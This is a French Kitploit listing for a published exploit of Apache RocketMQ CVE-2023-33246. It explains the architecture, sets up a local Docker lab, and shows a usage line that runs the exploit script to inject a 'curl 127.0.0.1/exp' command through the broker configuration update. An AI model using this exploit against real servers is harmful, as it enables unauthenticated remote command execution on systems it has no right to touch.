Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Apache-RocketMQ-CVE-2023-33246- — Exploit pour Apache RocketMQ RCE (CVE-2023-33246) qui exécute des commandes arbitraires via la fonction de mise à jour de configuration, avec configuration de l'environnement et exemples d'utilisation. | Kitploit
Outils/GitHubGitHub/sumitpathania03/apache-rocketmq-cve-2023-33246-
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed TeamingArchived
GitHubsumitpathania03/apache-rocketmq-cve-2023-33246-

Apache-RocketMQ-CVE-2023-33246-

Exploit pour Apache RocketMQ RCE (CVE-2023-33246) qui exécute des commandes arbitraires via la fonction de mise à jour de configuration, avec configuration de l'environnement et exemples d'utilisation.

Voir le dépôt
1il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2023-33246 : Exécution de code à distance dans Apache RocketMQ

VUE D'ENSEMBLE

Apache RocketMQ est l'une des plateformes de messagerie et de streaming distribuées les plus populaires et les plus utilisées. Une vulnérabilité d'exécution de commandes a récemment été signalée dans Apache RocketMQ affectant la version 5.1.0 et inférieures. Un utilisateur distant non authentifié peut exploiter cette vulnérabilité en utilisant la fonction de mise à jour de configuration pour exécuter des commandes avec le même niveau d'accès que celui du processus utilisateur RocketMQ.

Composants essentiels

Nameserver :

  1. Le nameserver dans RocketMQ agit comme un registre ou un magasin de métadonnées pour l'ensemble de l'infrastructure de messagerie.

  2. Il conserve les informations sur les topics, les files d'attente et les brokers responsables du traitement des messages.

  3. Les clients (producteurs et consommateurs) utilisent le nameserver pour découvrir les brokers avec lesquels ils doivent communiquer pour publier ou consommer des messages.

  4. Le nameserver est responsable du routage dynamique, de l'équilibrage de charge et du basculement au sein du cluster RocketMQ.

  5. Il écoute sur un port spécifique (généralement le port 9876 par défaut) pour les requêtes entrantes des clients et des brokers.

Broker :

  1. Les brokers sont les chevaux de trait du système RocketMQ, responsables du stockage et de la gestion des messages.

  2. Chaque broker gère un ou plusieurs topics, qui sont des canaux logiques pour la communication des messages.

  3. Les producteurs publient des messages sur des topics spécifiques, et les consommateurs s'abonnent à des topics pour recevoir les messages.

  4. Les brokers gèrent le stockage, la réplication et la livraison des messages aux consommateurs en fonction des abonnements et des modèles de consommation de messages.

  5. Ils maintiennent des files d'attente de messages pour chaque partition de topic, assurant un traitement et une livraison efficaces des messages.

  6. Les brokers communiquent avec les nameservers pour s'enregistrer, mettre à jour les métadonnées et participer aux mécanismes de routage et d'équilibrage de charge du cluster.

Configuration de l'environnement :-

Configurer un environnement RocketMQ local via Docker

root@kitploit:~
docker pull apache/rocketmq:4.9.4
### Démarrer le nameserver
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv
### Démarrer le Broker
docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf

exemples d'utilisation

1. Vérification de la version

En utilisant la configuration par défaut, le cluster Broker est lancé sur le port TCP 9876 pour commencer à recevoir des messages d'un client. Par exemple, voici un échange type entre un client et un broker pour récupérer la version de RocketMQ

root@kitploit:~
python3 check.py --ip 127.0.0.1 --port 9876

rock

PCAP rock

2. Analyse de l'exploit

La fonction UpdateBrokerConfig() est déclenchée lorsqu'une requête avec le code '25', qui est associé à RequestCode, est reçue.

root@kitploit:~
python3 CVE-2023-33246_RocketMQ_RCE_EXPLOIT.py 127.0.0.1 10911 curl 127.0.0.1/exp

Screenshot 2024-03-28 164712

PCAP

rock

Nous utilisons la configuration de serveur "rocketmqHome" trouvée dans le fichier broker.conf. Cette configuration définit la valeur de la variable d'environnement ROCKETMQ_HOME dans le processus utilisateur RocketMQ. En façonnant soigneusement cette valeur, nous pouvons exécuter les commandes de notre choix.

rock

c'est ainsi que fonctionne cette vulnérabilité..

Télécharger l’outil